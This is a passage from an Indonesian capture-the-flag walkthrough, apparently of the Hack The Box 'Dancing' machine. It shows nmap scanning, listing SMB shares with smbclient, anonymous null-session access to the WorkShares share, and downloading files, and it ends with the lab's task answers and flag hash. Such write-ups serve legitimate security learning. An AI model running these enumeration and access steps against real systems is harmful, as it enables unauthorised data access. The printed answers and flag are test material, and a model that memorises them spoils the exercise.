Jawaban: Server Message Block

Task 2: What port does SMB use to operate at?

SMB modern menggunakan port 445 (TCP). Sebelumnya, SMB berjalan di atas NetBIOS pada port 139, namun sejak Windows 2000, SMB dapat berjalan langsung di atas TCP menggunakan port 445

Jawaban: microsoft-ds

```
nmap -sV [target_ip]
```

Port 445 akan terdeteksi dengan service name **microsoft-ds** (Microsoft Directory Services), yang mengindikasikan bahwa ini adalah SMB/CIFS service.

Task 4: What is the 'flag' or 'switch' that we can use with the smbclient utility to 'list' the available SMB shares?

Jawaban: -L

Command untuk list shares:

smbclient -L //[target_ip]

```
(kiel-LOQ@ELELEL)-[/mnt/c/Users/glenw/BELAJAR/CYBER SECURITY/WSL-TOOLS DLL]
$ smbclient -L 10.129.121.197
Password for [WORKGROUP\kiel-LOQ]:

      Sharename      Type      Comment
      -
      ADMIN$         Disk      Remote Admin
      C$              Disk      Default share
      IPC$            IPC        Remote IPC
      WorkShares      Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.121.197 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Flag -L (list) digunakan untuk menampilkan semua shares yang tersedia di target server tanpa harus connect ke share tertentu.

Task 5: How many shares are there on Dancing?

Jawaban: 4

Setelah menjalankan:

smbclient -L //[target_ip] -N

```
(kiel-LOQ@ELELEL)-[/mnt/c/Users/glenw/BELAJAR/CYBER SECURITY/WSL-TOOLS DLL]
$ smbclient -L 10.129.121.197 -N

      Sharename      Type      Comment
      -
      ADMIN$         Disk      Remote Admin
      C$              Disk      Default share
      IPC$            IPC        Remote IPC
      WorkShares      Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.121.197 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Akan muncul 4 shares:

- ADMIN\$ (Administrative share)
- C\$ (Default share untuk C drive)
- IPC\$ (Inter-Process Communication)
- WorkShares (Custom share)

Task 6: What is the name of the share we are able to access in the end with a blank password?

Jawaban: WorkShares

Dari 4 shares yang ada, hanya **WorkShares** yang dapat diakses tanpa password (anonymous/null session):

Smbclient //[target_ip]/WorkShares -N

```
(kiel-LOQ@ELELEL)-[/mnt/c/Users/glenw/BELAJAR/CYBER SECURITY/WSL-TOOLSHELL]$ smbclient //10.129.121.197/WorkShares -N
Try "help" to get a list of possible commands.
smb: \> ls
.                D            0 Mon Mar 29 15:22:01 2021
..               D            0 Mon Mar 29 15:22:01 2021
Amy.J            D            0 Mon Mar 29 16:08:24 2021
James.P          D            0 Thu Jun  3 15:38:03 2021

5114111 blocks of size 4096. 1753269 blocks available
smb: \>
```

Flag -N menandakan no password (null session).

Task 7: What is the command we can use within the SMB shell to download the files we find?

Jawaban: get

Setelah masuk ke SMB shell, gunakan command:

smb: \> ls # untuk melihat file

smb: \> get [filename] # untuk download file

Command get akan mendownload file dari SMB share ke local machine.

Submit Flag

Setelah masuk ke WorkShares dan explore direktori:

smbclient //[target_ip]/WorkShares -N

smb: \> ls

smb: \> cd [directory_jika_ada]

smb: \> get flag.txt

smb: \> exit

Baca file yang telah didownload:

cat flag.txt

```
(kiel-LQ@ELELEL)-[/mnt/c/Users/glenw/BELAJAR/CYBER SECURITY/WSL-TOOLS DLL]  
$ cat flag.txt  
5f61c10dffbc77a704d76016a22f1664
```
